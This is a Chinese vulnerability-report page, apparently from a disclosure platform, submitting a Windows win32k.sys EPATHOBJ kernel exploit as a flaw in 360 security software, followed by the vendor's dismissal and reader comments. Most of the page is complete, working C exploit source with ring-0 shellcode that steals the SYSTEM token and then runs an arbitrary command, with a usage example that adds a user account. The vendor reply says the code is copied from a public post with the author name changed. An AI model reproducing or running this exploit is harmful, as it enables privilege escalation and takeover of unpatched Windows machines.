2013-10-31: 细节已通知厂商并且等待厂商处理中 2013-10-31: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2013-12-25: 细节向核心白帽子及相关领域专家公开 2014-01-04: 细节向普通白帽子公开 2014-01-14: 细节向实习白帽子公开 2014-01-26: 细节向公众公开
360无节操,为了测试这次的本地攻击我自己的系统也废了。忘开影子系统此节操通杀xp 2003 win7 干掉QQ 360等主流软件
攻击源码
#include <stdio.h>#include <STDARG.H>#include <stddef.h>#include <windows.h>//#include <ntstatus.h>#pragma comment(lib, "gdi32")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#define MAX_POLYPOINTS (8192 * 3)#define MAX_REGIONS 8192#define CYCLE_TIMEOUT 10000#pragma comment(linker, "/SECTION:.text,ERW")//// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.//// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013//POINT Points[MAX_POLYPOINTS];BYTE PointTypes[MAX_POLYPOINTS];HRGN Regions[MAX_REGIONS];ULONG NumRegion = 0;HANDLE Mutex;// Log levels.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;VOID LogInit();VOID LogRelase();BOOL LogMessage(LEVEL Level, PCHAR Format, ...);// Copied from winddi.h from the DDK#define PD_BEGINSUBPATH 0x00000001#define PD_ENDSUBPATH 0x00000002#define PD_RESETSTYLE 0x00000004#define PD_CLOSEFIGURE 0x00000008#define PD_BEZIERS 0x00000010#define ENABLE_SWITCH_DESKTOP 1typedef struct _POINTFIX{ ULONG x; ULONG y;} POINTFIX, *PPOINTFIX;// Approximated from reverse engineering.typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[4];} PATHRECORD, *PPATHRECORD;PPATHRECORD PathRecord;PATHRECORD ExploitRecord = {0};PPATHRECORD ExploitRecordExit;typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[ 256 ];} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);NtQueryIntervalProfile_ NtQueryIntervalProfile;NtAllocateVirtualMemory_ NtAllocateVirtualMemory;NtQuerySystemInformation_ NtQuerySystemInformation;NtFreeVirtualMemory_ NtFreeVirtualMemory;ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;void _declspec(naked) ShellCode(){ __asm { pushad pushfd mov esi,PsReferencePrimaryTokenFindTokenOffset: lodsb cmp al, 8Dh; jnz FindTokenOffset mov edi,[esi+1] mov esi,PsInitialSystemProcess mov esi,[esi] push fs:[124h] mov eax,PsGetThreadProcess call eax add esi, edi push esi add edi, eax movsd ;add token ref count. pop esi mov esi, [esi] and esi, 0xFFFFFFF8 lea eax, [esi-0x18] mov DWORD PTR [eax], 0x016B00B5 ;fix the haltable mov eax, WriteToHalDispatchTable mov ecx, FixAddress mov [ecx], 0xC3 mov DWORD PTR [eax], ecx popfd popad ;set ret code for NtQueryIntervalProfile mov eax, [esp+0xc] mov DWORD PTR [eax+4], 1 mov DWORD PTR [eax+8], 0xC0000018 xor eax, eax ret }}DWORD WINAPI WatchdogThread(LPVOID Parameter){ // // This routine waits for a mutex object to timeout, then patches the // compromised linked list to point to an exploit. We need to do this. // LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId()); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // // It looks like the main thread is stuck in a call to FlattenPath(), // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // up, and then patch the list to trigger our exploit. // while (NumRegion--) DeleteObject(Regions[NumRegion]); LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord); InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord); } else { LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); } return 0;}void wellcome(){ printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n"); printf("*******************************************************************\n"); printf("***\texploit by:<progmboy> <雷少>\t\t***\n"); printf("***\t0day finder:<Tavis Ormandy> <雷少>\t***\n"); printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n"); printf("*******************************************************************\n");}void usage(){ printf("\nusage:\n<app> <cmd> <parameter>\n"); printf("example:\napp.exe net \"user 111 111 /add\"");}BOOL FindAFixAddress( ULONG NtoskrnlBase){ FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2); LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress); return TRUE;}// 0x602464FF; /*jmp esp+0x60*/// 0x51C3686A; /*push 0; ret*/DWORD CheckMagicDword(){ OSVERSIONINFOEX OSVer; DWORD dwMagic = 0; OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if(GetVersionEx((OSVERSIONINFO *)&OSVer)){ switch(OSVer.dwMajorVersion){ case 5: dwMagic = 0x602464FF; break; case 6: dwMagic = 0x642464FF; break; default: dwMagic = 0; } } return dwMagic;}int main(int argc, char **argv){ HANDLE Thread; HDC Device; ULONG Size; ULONG PointNum; int nret = 0; DWORD MAGIC_DWORD = CheckMagicDword(); ULONG AllocSize = 0x1000, status, NtoskrnlBase; RTL_PROCESS_MODULES module; HMODULE ntoskrnl = NULL; DWORD dwFix; ULONG Address = MAGIC_DWORD & 0xFFFFF000; LONG ret; BOOL bRet = FALSE;#ifdef ENABLE_SWITCH_DESKTOP HDESK hDesk;#endif HMODULE ntdll = GetModuleHandle( "ntdll.dll" ); wellcome(); if (argc < 2){ usage(); return -1; } if (!MAGIC_DWORD){ LogMessage(L_ERROR, "unsupported system version\n"); return -1; } LogInit(); NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" ); NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" ); NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" ); NtFreeVirtualMemory = (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" ); if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory || !NtQuerySystemInformation || !NtFreeVirtualMemory){ LogMessage(L_ERROR, "get function address error\n"); LogRelase(); return -1; } // // try to allocate memory. // while (TRUE){ ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if(ret < 0){ MEMORY_BASIC_INFORMATION meminfo; LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret); LogMessage(L_INFO, "try to free memory"); if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){ LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect); } ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE); if (ret < 0){ LogMessage(L_ERROR, "free memory error code 0x%08x", ret); LogRelase(); return -1; } }else{ break; } } // // get the kernel info // status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11 if ( status != 0xC0000004 ){ LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status); LogRelase(); return -1; } NtoskrnlBase = (ULONG)module.Modules[0].ImageBase; // // 把ntoskrnl.exe加载进来 // ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) ); if (ntoskrnl == NULL){ LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError()); LogRelase(); return -1; } // // 计算实际地址 // WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4; PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase; PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase; PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase; if(!FindAFixAddress(NtoskrnlBase)){ LogMessage(L_ERROR, "Can not Find A Fix Address\n"); nret = -1; goto __end; } // // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. // PathRecord = (PPATHRECORD)VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord); // // Initialize with recognizable debugging values. // FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); // // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). // PathRecord->flags = 0; LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD; ExploitRecordExit->next = NULL; ExploitRecordExit->next = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; ExploitRecord.next = (PPATHRECORD)MAGIC_DWORD; ExploitRecord.prev = (PPATHRECORD)WriteToHalDispatchTable; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4); // // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). //#ifdef ENABLE_SWITCH_DESKTOP hDesk = CreateDesktop( "DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); if (hDesk){ SetThreadDesktop(hDesk); }#endif while (TRUE){ BOOL bBreak = FALSE; Mutex = CreateMutex(NULL, TRUE, NULL); if (!Mutex){ LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); nret = -1; goto __end; } // // Get a handle to this Desktop. // Device = GetDC(NULL); // // Spawn a thread to cleanup // Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); LogMessage(L_INFO, "start CreateRoundRectRgn"); // // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. // for (Size = 1 << 26; Size; Size >>= 1) { while (TRUE){ HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1); if (!hm){ break; } if (NumRegion < MAX_REGIONS){ Regions[NumRegion] = hm; NumRegion++; }else{ NumRegion = 0; } } } LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "Flattening curves..."); // // Begin filling the free list with our points. // dwFix = *(PULONG)ShellCode; for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); // // call the function to exploit. // ret = NtQueryIntervalProfile(2, (PULONG)ShellCode); // // we will set the status with 0xC0000018 in ring0 shellcode. // if (*(PULONG)ShellCode == 0xC0000018){ bRet = TRUE; break; } // // fix // *(PULONG)ShellCode = dwFix; EndPath(Device); } if (bRet){ LogMessage(L_INFO, "Exploit ok run command"); ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW); bBreak = TRUE; }else{ LogMessage(L_INFO, "No luck, cleaning up. and try again.."); } // // If we reach here, we didn't trigger the condition. Let the other thread know. // ReleaseMutex(Mutex); ReleaseDC(NULL, Device); WaitForSingleObject(Thread, INFINITE); if (bBreak){ break; } }__end: LogRelase(); if (ntoskrnl) FreeLibrary(ntoskrnl);#ifdef ENABLE_SWITCH_DESKTOP if (hDesk){ CloseHandle(hDesk); }#endif return nret;}CRITICAL_SECTION gCSection;VOID LogInit(){ InitializeCriticalSection(&gCSection);}VOID LogRelase(){ DeleteCriticalSection(&gCSection);}//// A quick logging routine for debug messages.//BOOL LogMessage(LEVEL Level, PCHAR Format, ...){ CHAR Buffer[1024] = {0}; va_list Args; EnterCriticalSection(&gCSection); va_start(Args, Format); _snprintf(Buffer, sizeof(Buffer), Format, Args); va_end(Args); switch (Level) { case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break; } fflush(stdout); fflush(stderr); LeaveCriticalSection(&gCSection); return TRUE;}
测试方法:
任意一个进程
执行后360的功能全废了
调用了某牛的程序
你们好专业
危害等级:无影响厂商忽略
忽略时间:2014-01-26 12:53
此报告中的问题的并非是360的安全漏洞,是一个今年3月已经公开的微软Winodows内核漏洞,而且在今年7月已经修复,且相关攻击代码早已公开,此报告中的代码即是由已经在看雪论坛在今年6月公开的攻击代码基础上照抄和修改了作者名的结果,看雪上的代码链接为:http://bbs.pediy.com/showthread.php?t=172839此攻击代码公开后,360在5天内全球首家提供了针对此攻击的防御临时补丁版本:http://bbs.360safe.com/thread-1695687-1-1.html带有临时补丁版本的下载地址:http://dl.360safe.com/setupbeta_9.2.0.1002z.exe此临时补丁可以防御这个当时的0day漏洞的攻击在今年7月的补丁日,微软发布了针对此漏洞的安全补丁:http://blogs.technet.com/b/msrc/archive/2013/07/04/advance-notification-service-for-july-2103-security-bulletin-release.aspx在用户升级了微软补丁后,相关临时补丁在360防御中已经撤销,用户按360提示安装补丁后即可彻底对此漏洞的攻击免疫。
暂无
厂家忽略,漏洞细节向公众公开
2000k
>20rank
等待360回复呢
雷老板 拿钱了请客
人家都没表态呢
目测会火,前排留名
360补丁不是自动的么 洞主没安装?
@xsser xsser = = 看到详情了吗 透露啊 我很想知道
@xsser 公开吧,如果真的没影响
@雷少 @xsser 太让我失望了 不过我很喜欢360解释洞的态度
@雷少果断是破WAF达人哈
@xsser 360默认是没有提示用户安装补丁的
360 不是自动打补丁的么
我喜欢这个厂商回复的态度
我喜欢360的回复态度。至少会说明原因,让提交漏洞的白帽子对自己提交的漏洞有理解,不会到头来给忽略了都不知道什么原因
一看就是64位那个蹩脚洞,其实和360没什么关系
此攻击代码公开后,360在5天内全球首家提供了针对此攻击的防御临时补丁版本回复也不忘装X。。。
厂商罗列的很有水准,消除了俺的担忧....